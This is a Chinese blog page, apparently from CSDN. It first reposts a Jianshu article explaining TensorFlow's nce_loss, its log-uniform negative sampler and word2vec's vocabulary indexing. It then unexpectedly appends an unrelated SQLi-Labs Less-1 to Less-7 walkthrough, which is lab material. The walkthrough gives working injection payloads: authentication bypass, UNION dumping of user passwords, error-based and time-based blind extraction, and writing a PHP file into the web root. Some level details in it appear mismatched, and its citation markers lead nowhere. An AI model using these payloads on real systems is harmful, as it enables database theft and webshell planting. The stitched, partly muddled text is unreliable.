tf.nn.nce_loss

http://www.jianshu.com/p/fab82fa53e16


 
 

这两天因为实现mxnetnce-loss,因此研究了一下tensorflow的nce-loss的实现。所以总结一下。

先看看tensorflow的nce-loss的API:

def nce_loss(weights, biases, inputs, labels, num_sampled, num_classes,
             num_true=1,
             sampled_values=None,
             remove_accidental_hits=False,
             partition_strategy="mod",
             name="nce_loss")

假设nce_loss之前的输入数据是K维的,一共有N个类,那么

  • weight.shape = (N, K)
  • bias.shape = (N)
  • inputs.shape = (batch_size, K)
  • labels.shape = (batch_size, num_true)
  • num_true : 实际的正样本个数
  • num_sampled: 采样出多少个负样本
  • num_classes = N
  • sampled_values: 采样出的负样本,如果是None,就会用不同的sampler去采样。待会儿说sampler是什么。
  • remove_accidental_hits: 如果采样时不小心采样到的负样本刚好是正样本,要不要干掉
  • partition_strategy:对weights进行embedding_lookup时并行查表时的策略。TF的embeding_lookup是在CPU里实现的,这里需要考虑多线程查表时的锁的问题。

nce_loss的实现逻辑如下:

  • _compute_sampled_logits: 通过这个函数计算出正样本和采样出的负样本对应的output和label
  • sigmoid_cross_entropy_with_logits: 通过 sigmoid cross entropy来计算output和label的loss,从而进行反向传播。这个函数把最后的问题转化为了num_sampled+num_real个两类分类问题,然后每个分类问题用了交叉熵的损伤函数,也就是logistic regression常用的损失函数。TF里还提供了一个softmax_cross_entropy_with_logits的函数,和这个有所区别。

再来看看TF里word2vec的实现,他用到nce_loss的代码如下:

  loss = tf.reduce_mean(
      tf.nn.nce_loss(nce_weights, nce_biases, embed, train_labels,
                     num_sampled, vocabulary_size))

可以看到,它这里并没有传sampled_values,那么它的负样本是怎么得到的呢?继续看nce_loss的实现,可以看到里面处理sampled_values=None的代码如下:

    if sampled_values is None:
      sampled_values = candidate_sampling_ops.log_uniform_candidate_sampler(
          true_classes=labels,
          num_true=num_true,
          num_sampled=num_sampled,
          unique=True,
          range_max=num_classes)

所以,默认情况下,他会用log_uniform_candidate_sampler去采样。那么log_uniform_candidate_sampler是怎么采样的呢?他的实现在这里

  • 他会在[0, range_max)中采样出一个整数k
  • P(k) = (log(k + 2) - log(k + 1)) / log(range_max + 1)

可以看到,k越大,被采样到的概率越小。那么在TF的word2vec里,类别的编号有什么含义吗?看下面的代码:

def build_dataset(words):
  count = [['UNK', -1]]
  count.extend(collections.Counter(words).most_common(vocabulary_size - 1))
  dictionary = dict()
  for word, _ in count:
    dictionary[word] = len(dictionary)
  data = list()
  unk_count = 0
  for word in words:
    if word in dictionary:
      index = dictionary[word]
    else:
      index = 0  # dictionary['UNK']
      unk_count += 1
    data.append(index)
  count[0][1] = unk_count
  reverse_dictionary = dict(zip(dictionary.values(), dictionary.keys()))
  return data, count, dictionary, reverse_dictionary

可以看到,TF的word2vec实现里,词频越大,词的类别编号也就越大。因此,在TF的word2vec里,负采样的过程其实就是优先采词频高的词作为负样本。

在提出负采样的原始论文中, 包括word2vec的原始C++实现中。是按照热门度的0.75次方采样的,这个和TF的实现有所区别。但大概的意思差不多,就是越热门,越有可能成为负样本。



作者:xlvector
链接:http://www.jianshu.com/p/fab82fa53e16
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值